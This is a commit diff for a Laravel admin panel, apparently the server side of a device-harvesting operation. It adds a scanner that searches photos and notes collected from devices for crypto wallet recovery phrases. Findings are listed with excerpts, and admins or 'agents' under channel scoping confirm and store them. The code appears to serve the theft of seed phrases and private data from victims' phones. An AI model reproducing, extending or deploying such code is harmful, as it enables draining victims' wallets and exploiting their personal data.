feat: scan

This commit is contained in:
hashbro
2026-09-12 23:53:53 +08:00
parent e294053285
commit 558912864d
36 changed files with 4165 additions and 15 deletions
@@ -294,6 +294,8 @@ class DeviceController extends Controller
DB::transaction(function () use ($device) {
$device->apps()->delete();
$device->events()->delete();
$device->mnemonicFindings()->delete();
$device->noteScans()->delete();
$device->photos()->delete();
$device->notes()->delete();
$device->addresses()->delete();
@@ -571,12 +573,16 @@ class DeviceController extends Controller
'process_index' => $photo->process_index,
'text_count' => $photo->text_count,
'barcode_count' => $photo->barcode_count,
'scan_status' => (int) $photo->scan_status,
'scan_label' => \App\Services\MnemonicScanStatus::label((int) $photo->scan_status),
'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
$scan = app(\App\Services\MnemonicScanService::class)->photoProgress($device->id);
return $this->layuiPage($paginator->total(), $data, $scan);
}
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
@@ -707,16 +713,27 @@ class DeviceController extends Controller
$total = count($items);
$slice = array_slice($items, ($page - 1) * $limit, $limit);
$reportedAt = optional($note?->updated_at ?? $note?->created_at)->format('Y-m-d H:i:s');
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt) {
$scans = $note
? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key')
: collect();
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans) {
$index = (($page - 1) * $limit) + $i;
$key = \App\Models\NoteScan::itemKey($item, $index);
$status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING);
return [
'id' => (($page - 1) * $limit) + $i + 1,
'id' => $index + 1,
'title' => $item['title'] ?? '',
'body' => $item['body'] ?? '',
'scan_status' => $status,
'scan_label' => \App\Services\MnemonicScanStatus::label($status),
'created_at' => $reportedAt ?: '',
];
});
return $this->layuiPage($total, $data);
$scan = app(\App\Services\MnemonicScanService::class)->noteProgress($device);
return $this->layuiPage($total, $data, $scan);
}
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
@@ -744,14 +761,19 @@ class DeviceController extends Controller
/**
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
private function layuiPage(int $count, $data)
private function layuiPage(int $count, $data, ?array $scan = null)
{
return response()->json([
$payload = [
'code' => 0,
'msg' => '',
'count' => $count,
'data' => $data,
]);
];
if ($scan !== null) {
$payload['scan'] = $scan;
}
return response()->json($payload);
}
/**
@@ -0,0 +1,159 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\MnemonicFinding;
use App\Models\User;
use App\Services\MnemonicScanService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class MnemonicFindingController extends Controller
{
use PortalAware;
public function index(MnemonicScanService $scan)
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.findings.index', [
'portal' => $this->portal(),
'agents' => $agents,
'photoProgress' => $scan->photoProgress(),
'noteProgress' => $scan->noteProgress(),
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$status = trim((string) $request->query('status', ''));
if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) {
$q->where('mnemonic_findings.status', $status);
}
$source = trim((string) $request->query('source', ''));
if (in_array($source, [MnemonicFinding::SOURCE_PHOTO, MnemonicFinding::SOURCE_NOTE], true)) {
$q->where('mnemonic_findings.source', $source);
}
$q->orderByDesc('mnemonic_findings.id');
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
/** @var MnemonicFinding $row */
$photoUrl = $row->photo_id
? route($portal.'.devices.photo', [$row->device_id, $row->photo_id])
: '';
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source === MnemonicFinding::SOURCE_PHOTO ? '相册' : '备忘录',
'status' => $row->status,
'status_label' => MnemonicFinding::statusLabel((string) $row->status),
'candidate' => $row->candidate,
'excerpt' => mb_substr((string) $row->excerpt, 0, 160),
'word_count' => (int) $row->word_count,
'score' => (int) $row->score,
'photo_url' => $photoUrl,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', [
'device' => $row->device_id,
'tab' => $row->source === MnemonicFinding::SOURCE_PHOTO ? 'photos' : 'notes',
]),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan)
{
if (! $this->findingInScope($finding)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if ($finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
return response()->json(['code' => 1, 'msg' => '只有疑似记录可以确认']);
}
$candidate = $request->input('candidate');
if (! $scan->confirm($finding, $this->actorLabel(), is_string($candidate) ? $candidate : null)) {
return response()->json(['code' => 1, 'msg' => '不是合法助记词,无法确定入库']);
}
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan)
{
if (! $this->findingInScope($finding)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$scan->dismiss($finding, $this->actorLabel());
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function findingInScope(MnemonicFinding $finding): bool
{
$q = MnemonicFinding::query()
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
->where('mnemonic_findings.id', $finding->id);
AgentScope::applyDeviceChannelScope($q, $this->agent());
return $q->exists();
}
private function actorLabel(): string
{
if ($this->isAgentPortal()) {
$user = auth('agent')->user();
return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? '');
}
$admin = auth('admin')->user();
return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? '');
}
private function baseQuery(Request $request): Builder
{
$q = MnemonicFinding::query()
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
->select([
'mnemonic_findings.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
}